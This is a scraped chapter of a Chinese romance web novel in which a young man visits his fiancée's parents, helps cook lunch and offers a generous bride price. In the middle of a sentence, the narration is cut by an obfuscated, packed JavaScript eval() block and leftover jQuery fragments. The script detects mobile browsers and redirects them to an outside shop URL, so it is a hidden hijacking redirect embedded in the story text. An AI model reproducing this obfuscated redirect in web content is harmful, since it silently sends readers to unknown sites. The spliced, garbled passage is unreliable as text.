25.见家长

作品:《年代文亡妻觉醒后

    毫不意外的,那种轻飘飘的感觉又来了,不过秦君乔很习惯,甚至说是享受。


    回到家,他把今天买的东西放在桌子上,又把早准备好的茶叶加进去,才算满意。这茶叶是他托别人买的,很好的红茶,昨天才刚拿到的,所幸还来得及,没有耽误了正事。


    第二天,也就是周日这一天,还是秦君乔期盼了很久的这一天。


    依然是一个晴天,在连续几天的绵绵细雨之后,终于轮到太阳上岗了。


    秦君乔穿了一件蓝绿格子的短袖衬衫,带上准备好的礼品,就准备出发去沈家,出门的时候还碰到隔壁刘婶儿,“这是要出门吗?”刘婶打量一眼他挂在自行车把上的一兜子东西,问道。


    “是啊,刘婶,我着急,先走了啊。”说完便一脚蹬上车走了。


    刘婶立刻快步走回家,冲着正坐在凳子上看报纸的丈夫说道:“不得了啊,我感觉小秦要有好消息。”


    ……


    秦君乔整理了一下自己的衣服和发型,才拐进沈盈婉家所在的小巷里。


    在他拐进来的时候,周围大树底下乘凉的几个妇人都停下了手中的动作,纳鞋底的针还捏在手里,编竹筐的也把手里的半成品放下了。


    “这是哪家的小伙子啊?”


    “不认识,他带那么多东西,不会是来女方家拜访的吧!”


    “欸,这巷子里也没几家……”说着其中一人往巷子里看去一眼,在看清那边站着的人后,惊讶道:“那不是阿婉吗?你们瞧!”


    其余两人纷纷凑过来往里看去,“还真是啊!”


    几个人互相看看,面上都是一副了然的神色,那个一开始说话的妇人笑道:“看来是要有喜事了。”


    她们的窃窃私语秦君乔并未在意,他只是朝巷子里面看去。


    巷子不深,只几户人家,一眼便能望到头,两边墙角还生着些绿苔,有几丛树枝越过不高的院墙伸出来,绿意蔓延,显得小巷更加静谧几分。


    树影交叠的尽头,沈盈婉正静静站着,凝望着他。


    秦君乔不再停留,快步到得她面前,看见她笑盈盈的眼,“很热,怎么出来等了。”他说话的语气很轻,像怕惊扰了什么。


    “只是才出来而已,你就到了。”沈盈婉不在意道,说着便引他进去,许晓梅和沈春早就迫不及待了,听见院外的动静,两人便一前一后走出屋门来。


    一抬眼便看见秦君乔俊朗修长的身影,两人隐晦地把人上下打量一番,发现他在外形上确实没有什么好挑剔的,虽然他们并不是十分在意外在的人,但也不会嫌多啊,两人对视一眼,都在对方眼里看到同样的意思,这时,秦君乔已经快一步朝他们打招呼了。


    许晓梅和沈春这才客气地点点头,说话间几人一起进屋,秦君乔带的那些东西被许晓梅招呼着放在了桌子上,此时是不好仔细查看的,但她打眼一瞅,便知道这礼不轻,甚至可以说是丰厚了。


    她心下对秦君乔的好感多了几分,悄悄给沈春递过去一个眼神,沈春会意,招呼着秦君乔坐下。


    沈盈婉拿出几个搪瓷缸来倒水,几人先是坐着简单聊了几句,秦君乔边和沈春说着话,边接过她递来的搪瓷缸,他面上倒应对得挺从容的,只是沈盈婉发现了他搭在膝盖上的手微微蜷缩,显然不是放松的状态。


    实际上沈春和许晓梅只是边聊边隐晦地问一些他的个人情况,尽管沈盈婉已经提前说过一遍,但转述版本和亲自讲述版本,那是不一样的,更何况,他们要打听得更清楚一些,不然怎么能放心呢?


    沈盈婉没有插话,她在默默捧着搪瓷缸当吉祥物,时不时抿一口水,因为实在是不需要她说什么,因为这三个人中,一个对答如流,另外两个也只是询问而并非刁难,她明白,他们只是想凭自己的阅历,为她排除一些隐患,从小到大,都是如此。


    秦君乔这边,一开始倒是还有些紧张,但现在,他能察觉到在交谈过后,两位长辈原本客气温和的态度变得亲密自然了,显然是对他比较满意的,他的那点紧张就随之消散了。


    眼看已经十点了,许晓梅便起身,“你们先聊,我去做饭去。”锅里早炖着排骨,还有其他菜要准备呢。


    秦君乔忙跟着站起身,“我来帮忙吧。”许晓梅只是推辞了一下,等秦君乔再次说要帮忙的时候,她没再说什么。


    松溪镇这边,男方第一次上门帮着做饭,做家务,甚至还有帮着喂鸡喂猪的,都是比较常见的,但也不是每家都会这样,如今秦君乔自己提出来,许晓梅当然不会拒绝了。


    沈盈婉把门拉开,外头还留一道纱帘门,可以通风,哪怕有烟囱,做饭的时候屋子里还是会很热的。


    做饭的案台就那么大,两个人就足够拥挤了,沈盈婉和沈春识相地没有凑上去。


    “土豆要切丝吗?”秦君乔问道。


    许晓梅边洗菜边回道,“对,要切细一点。”


    秦君乔利落地开始切土豆,沈盈婉看过去一眼,感叹道:他的刀工还很不错,切得又快又均匀。一回头就对上沈春的眼神,她从中读出了调侃的意味。


    什么嘛!不就是讨厌切土豆丝吗?这是错吗?


    她喜欢吃炒土豆丝,凉拌土豆丝,但是从小到大,她都最讨厌切土豆丝了,切完一个土豆多不容易啊,她宁愿做其他的菜。


    沈春摇头失笑,随即他也起身,去看锅里的排骨了,他的厨艺也很不错,周末或者有假期的时候,沈春都会承担做饭这项家务。


    这么一来,最闲的人反而成了沈盈婉了,她孤零零地坐在凳子上,感慨道:“还是我最有福啊!”


    其他三人听到这话,哪里不明白她的意思呢?


    “你啊!”许晓梅看她一眼,状似无奈但又宠溺地说道。


    沈春把玉米块倒进锅里,又重新盖上锅盖,闻言只是笑笑,不发表什么意见。


    秦君乔把切好的土豆丝放进盘子里,他回头看过去,正好和沈盈婉对视上,她笑盈盈的,不闪不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17195952|195748||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    避,秦君乔忽然恍惚了,这样的场景,他好久没体会过了。


    家是温馨的地方不是吗?


    从此以后,他也有家了。


    沈盈婉捕捉到他眼里的那一丝怅然,她弯起眉眼,走到他身边,看了看那一盘切好的土豆丝,夸张地说道:“这切的不错嘛!”说完还给许晓梅递过去看。


    许晓梅正在处理手中的鸡肉,偏头看一眼,表示肯定。


    沈盈婉满意了,她把剩余的菜拿过来,放在案板旁边,转头看向秦君乔:“加油!”


    几个人忙活了好一阵,才把一桌子菜做好。


    秦君乔把最后一道菜端上桌,才看过去,有玉米炖排骨,凉拌黄瓜,辣椒炒肉,清炒油麦菜,肉沫豆腐,凉拌手撕鸡,醋溜土豆丝,满满一大桌。


    沈春把凳子往他那边挪一挪,见秦君乔还站着,忙拍拍他,“坐呀,傻站着干嘛。”


    秦君乔这才回神,连忙坐下,沈盈婉提议大家拿以水代酒碰一下,几个搪瓷杯互相接触的声音在空中响起,每个人脸上都带着笑容,当然也包括秦君乔。


    吃饭的时候,秦君乔时不时给沈盈婉夹菜,沈盈婉吃得心安理得,落在许晓梅和沈春眼里,那就是,未来女婿又多了一个优点。


    “这个鸡肉好吃。”沈盈婉给沈春和许晓梅一人夹了一块,又给秦君乔夹,秦君乔看着碗里的鸡肉,嘴角微微扬起,幸福的事太多了,真的。


    “这是君乔做的,吃起来是不错啊。”许晓梅赞道。


    秦君乔笑道,“您和阿婉觉得好吃就行,我还怕做不好,浪费了这么好的鸡肉呢!”


    沈盈婉听他在自己父母面前叫自己阿婉,差点没被噎住,幸好她足够沉稳,硬是咽下去了,连忙喝一口水压惊。


    沈春和许晓梅倒是没对这一点发表什么意见,甚至连一点儿在意都没有,毕竟他们俩年轻的时候比这腻歪多了,再说了,叫个小名算什么的,难不成还叫全名吗?


    几个人非常融洽地把一顿饭吃完,沈春才提起婚期的事,他先是问秦君乔有什么打算。


    秦君乔直起身子,郑重道:“婚期的事儿,我想的是钉在下个月,当然具体的还是看阿婉的想法,再找个好日子就行。”


    “彩礼我会给二百块钱,再加三转一响,绝不会委屈了阿婉的。”


    听得这话,许晓梅和沈春齐齐愣住,就连沈盈婉也是,三转一响虽说是彩礼标配,可毕竟加起来不是一笔小数目,少有人家是能全都凑齐的,更别谈他还要额外给二百块钱了。


    在沈盈婉提前和他们说了秦君乔的情况之后,许晓梅和沈春也有所预估,对于彩礼,他们本来的期待就是只要能达到一般水平就可以了,如今听他这么说,才会格外惊讶。


    似乎看出了两位长辈的意思,他解释道:“我妈有给我留了一些,再加上这些年我自己攒的,足够彩礼了,之后我也有每个月的固定工资,不会捉襟见肘的,我只是想在我力所能及的范围内,给阿婉最好的。”